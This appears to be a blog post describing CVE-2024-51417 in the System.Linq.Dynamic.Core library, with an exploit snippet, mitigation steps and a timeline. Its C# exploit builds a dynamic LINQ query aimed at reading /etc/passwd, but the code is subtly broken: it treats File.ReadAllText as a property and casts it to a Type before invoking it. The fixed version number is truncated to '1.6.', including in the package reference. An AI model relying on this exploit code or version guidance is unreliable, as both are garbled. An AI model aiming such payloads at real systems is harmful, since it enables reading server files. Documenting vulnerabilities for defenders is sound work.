A critical security vulnerability (CVE-2024-51417) has been discovered in the System.Linq.Dynamic.Core library, which is widely used to build dynamic LINQ queries. This flaw affects all versions of System.Linq.Dynamic.Core before version 1.6. and can lead to unauthorized remote access to properties on reflection types and static properties/fields.

In this post, we will discuss the details of this vulnerability, its potential impact, and the steps required to mitigate it, including code snippets and links to original references.

Vulnerability Summary

System.Linq.Dynamic.Core is a popular library that extends the capabilities of LINQ by providing support for string-based expressions, filters, grouping, and more. However, it was discovered that the library does not adequately protect against unauthorized access to properties and static fields when processing queries.

Exploiting this vulnerability could allow an attacker to execute arbitrary code on the affected system, gain unauthorized access to sensitive data, or perform other malicious activities. It's important to note that this vulnerability can be exploited remotely, making it a severe threat to applications that rely on the vulnerable library.

Exploit Details

The vulnerability is caused by a lack of proper input validation in System.Linq.Dynamic.Core's handling of dynamic expressions. An attacker can craft malicious input to take advantage of this flaw and access properties and static fields that should not be accessible.

Here's an example of a code snippet that could be used to exploit the vulnerability

using System;
using System.Linq.Dynamic.Core;

namespace CVE_2024_51417_Exploit
{
    class Program
    {
        static void Main(string[] args)
        {
            var maliciousInput = "((Type)GetTypeStatic(typeof(System.IO.File)).GetProperty(\"ReadAllText\").GetValue(null)).Invoke(null, new object[]{\"/etc/passwd\"})";
            var query = Enumerable.Empty<string>().AsQueryable();
            query.Where(maliciousInput);
        }

        static Type GetTypeStatic(Type type)
        {
            return type;
        }
    }
}

In this example, the attacker attempts to access the System.IO.File.ReadAllText property through a clever query. A successful exploit could grant the attacker access to unauthorized data or allow them to execute arbitrary code.

Original References

- System.Linq.Dynamic.Core GitHub Repository
- CVE-2024-51417 NVD Entry
- Security Advisory for System.Linq.Dynamic.Core

Mitigation

To protect against this vulnerability, users of System.Linq.Dynamic.Core should update their library to version 1.6. or later, which includes a patch that addresses this issue. The library developers have added additional input validation checks to prevent unauthorized access to properties and static fields.

<PackageReference Include="System.Linq.Dynamic.Core" Version="1.6." />

With the updated library, the malicious input would no longer be successful in exploiting the vulnerability, and your application would be safe from unauthorized remote access to properties and static fields.

Conclusion

CVE-2024-51417 is a severe vulnerability that affects many applications relying on the System.Linq.Dynamic.Core library. It is essential to address this issue promptly to protect user data, maintain application security, and minimize potential damage from malicious actors. Be sure to update your library to the latest version and follow the best practices for application security.

Timeline

Published on: 01/21/2025 19:15:10 UTC
Last modified on: 02/04/2025 16:15:38 UTC